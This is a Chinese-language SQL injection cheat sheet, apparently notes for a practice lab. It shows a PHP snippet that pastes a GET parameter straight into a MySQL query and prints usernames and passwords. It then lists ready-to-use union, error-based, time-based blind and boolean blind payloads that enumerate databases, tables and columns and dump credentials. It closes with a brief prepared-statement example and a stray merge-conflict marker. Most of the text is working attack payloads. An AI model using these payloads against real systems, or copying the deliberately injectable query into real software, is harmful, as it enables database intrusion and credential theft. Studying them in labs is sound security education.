//GET方式获取name为id的值赋值给$id变量； $id=$_GET['id']; //定义$sql变量，值为下一步要执行的sql语句，将$id变量带入sql语句中； $sql="SELECT * FROM user WHERE id='$id' LIMIT 0,1";  //将上一步定义的$sql变量的值作为sql语句带入数据库查询，并将结果赋值给$result变量，mysql_query为php提供的数据库查询函数； $result=mysql_query($sql); //从上一步查询的结果集中去的一行作为数组返回并赋值给$row变量； $row = mysql_fetch_array($result); //如果$row值不为空，即数据库查询数据正常，则打印出username和password的值；  if($row)  {  echo 'Your Login name:'. $row['username'];  echo "<br>";  echo 'Your Password:' .$row['password'];  echo "</font>";  }  else   {  echo '<font color= "#FFFF00">';  print_r(mysql_error());  echo "</font>";   } } 

?id=-1' union select 1,2,database() --+ 

原始语句：SELECT * FROM user WHERE id='$id' LIMIT 0,1 正常带入数据：SELECT * FROM user WHERE id='1' LIMIT 0,1 非法带入数据：SELECT * FROM user WHERE id='-1' union select 1,2,database() --+' LIMIT 0,1 --（注：在执行sql语句时，“--”是sql语句中的注释符，但是使用时--后要有一个空格才能起到注释作用，否则会报错，这里的+号经过处理后会变成空格，用来和后面的单引号分隔开，才能将后面的语句注释。） 

Union query #联合查询注入，通过union联合查询获取查询结果

Error based #报错注入，通过报错信息获取查询结果 

Boolean based blind #布尔盲注，通过应用返回不同的值判断条件真假
Time based blind #时间盲注，通过不同的时间延迟推断条件真假 

爆列数：?id=-1' order by n--+(“n”到几不报错则有n-1列) 爆库名：?id=-1' union select 1,2,database() --+ 爆表明：?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' --+ 爆列名：?id=-1' union select 1，2，group_concat(column_name) from information_schema.columns where table_name='users' --+ 爆数据：?id=-1' union select 1，group_concat(username),group_concat(password) from users --+ 注：使用中根据实际需要修改字段数（列数）以及库名表名等，union查询的字段数需要和表中的字段数相同才可以 

爆库名：?id=-1’ union select count(*),count(*),concat(‘~’,(select database()),'~',floor(rand()*2)) as a from information_schema.tables group by a--+ 爆表名：?id=-1' union select count(*),count(*), concat('~',(select concat(table_name) from information_schema.tables where table_schema=database() limit 3,1),'~',floor(rand(0)*2)) as a from information_schema.tables group by a--+ 爆列名：?id=-1' union select count(*),1, concat('~',(select column_name from information_schema.columns where table_name='users' limit 1,1),'~',floor(rand(0)*2)) as a from information_schema.tables group by a--+ 爆数据：?id=-1' union select count(*),1, concat('~',(select concat_ws(':',username,password) from users limit 1,1),'~',floor(rand(0)*2)) as a from information_schema.tables group by a--+ 

爆库长：?id=1' and if(length(database())=8,sleep(5),NULL)--+ 爆库名：?id=1' and if(left(database(),1)='s',sleep(5),NULL)--+ 爆表名：?id=1' and if(left((select table_name from information_schema.tables where table_schema=database() limit 1,1),1)='r',sleep(5),NULL)--+ 爆列明：?id=1' and if(left((select column_name from information_schema.columns where table_name = 'users' limit 1,1),8)='username',sleep(5),NULL)--+ 爆数据：?id=1' and if(left((select username from users order by id limit 0,1),4)='dumb',sleep(5),NULL)--+ ?id=1' and if(left((select password from users order by id limit 0,1),4)='dumb',sleep(5),NULL)--+ 

爆库名：?id=1' and left((select database()),1)='s'--+ 爆表名：?id=1' and left((select table_name from information_schema.tables where table_schema ='security' limit 3,1),5)='users'--+ 爆列明：?id=1' and left((select column_name from information_schema.columns where table_name='users' limit 1,1),8)='username'--+ 爆数据：?id=1' and left((select username from users order by id limit 0,1),4)='dumb'--+ 

prepare baizesec from 'select username,password from users where id=？'; 定义预编译语句 set @a=1; 传参数 execute baizesec using @a; 调用 <<<<<<< HEAD